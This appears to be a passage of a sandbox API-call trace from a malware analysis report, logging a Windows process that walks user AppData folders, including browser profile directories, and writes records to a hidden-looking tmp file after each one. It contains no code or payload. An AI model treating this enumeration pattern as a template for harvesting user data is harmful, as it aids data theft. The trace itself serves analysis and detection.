[0126.483] AreFileApisANSI () returned 1 [0126.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.483] GetFileType (hFile=0x194) returned 0x1 [0126.483] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.483] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.484] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x105, lpOverlapped=0x0) returned 1 [0126.484] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x4000, nFileSizeHigh=0x0, nFileSizeLow=0x3e28, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.484] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.484] GetLastError () returned 0x12 [0126.484] AreFileApisANSI () returned 1 [0126.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.484] GetFileType (hFile=0x190) returned 0x1 [0126.484] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.484] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.484] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0x103, lpOverlapped=0x0) returned 1 [0126.485] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x4000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x3f2d, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.485] AreFileApisANSI () returned 1 [0126.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.485] GetFileType (hFile=0x190) returned 0x1 [0126.485] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.485] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.485] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0x108, lpOverlapped=0x0) returned 1 [0126.485] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x5000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x4030, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.485] AreFileApisANSI () returned 1 [0126.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.486] GetFileType (hFile=0x190) returned 0x1 [0126.486] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.486] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.486] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0x101, lpOverlapped=0x0) returned 1 [0126.486] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x418, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.486] AreFileApisANSI () returned 1 [0126.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.486] GetFileType (hFile=0x194) returned 0x1 [0126.487] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.487] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.487] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x109, lpOverlapped=0x0) returned 1 [0126.487] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x5000, nFileSizeHigh=0x0, nFileSizeLow=0x4239, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.487] AreFileApisANSI () returned 1 [0126.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.487] GetFileType (hFile=0x194) returned 0x1 [0126.487] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.487] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.487] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0x109, lpOverlapped=0x0) returned 1 [0126.487] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x5000, nFileSizeHigh=0x0, nFileSizeLow=0x4342, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.488] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.488] GetLastError () returned 0x12 [0126.488] AreFileApisANSI () returned 1 [0126.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.488] GetFileType (hFile=0x190) returned 0x1 [0126.488] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.488] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.488] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0x106, lpOverlapped=0x0) returned 1 [0126.488] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x5000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x444b, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.488] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.488] GetLastError () returned 0x12 [0126.488] AreFileApisANSI () returned 1 [0126.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.489] GetFileType (hFile=0x18c) returned 0x1 [0126.489] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.489] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.489] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xed, lpOverlapped=0x0) returned 1 [0126.489] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.489] AreFileApisANSI () returned 1 [0126.489] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.489] GetFileType (hFile=0x190) returned 0x1 [0126.489] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.490] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.490] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xf1, lpOverlapped=0x0) returned 1 [0126.490] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x8878e8, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.490] AreFileApisANSI () returned 1 [0126.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.490] GetFileType (hFile=0x194) returned 0x1 [0126.490] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.491] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.491] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0xf6, lpOverlapped=0x0) returned 1 [0126.491] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0126.538] AreFileApisANSI () returned 1 [0126.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.538] GetFileType (hFile=0x198) returned 0x1 [0126.538] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.538] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.538] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x103, lpOverlapped=0x0) returned 1 [0126.539] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x5000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x4825, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.539] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0126.539] GetLastError () returned 0x12 [0126.539] AreFileApisANSI () returned 1 [0126.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.539] GetFileType (hFile=0x194) returned 0x1 [0126.539] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.539] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.539] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0xfe, lpOverlapped=0x0) returned 1 [0126.539] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3e5, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0126.540] AreFileApisANSI () returned 1 [0126.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.540] GetFileType (hFile=0x198) returned 0x1 [0126.540] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.540] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.540] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x10b, lpOverlapped=0x0) returned 1 [0126.540] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x5000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x4a26, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.540] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0126.541] GetLastError () returned 0x12 [0126.541] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.541] GetLastError () returned 0x12 [0126.541] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.541] GetLastError () returned 0x12 [0126.541] AreFileApisANSI () returned 1 [0126.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.541] GetFileType (hFile=0x18c) returned 0x1 [0126.541] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.541] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.541] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xf3, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: 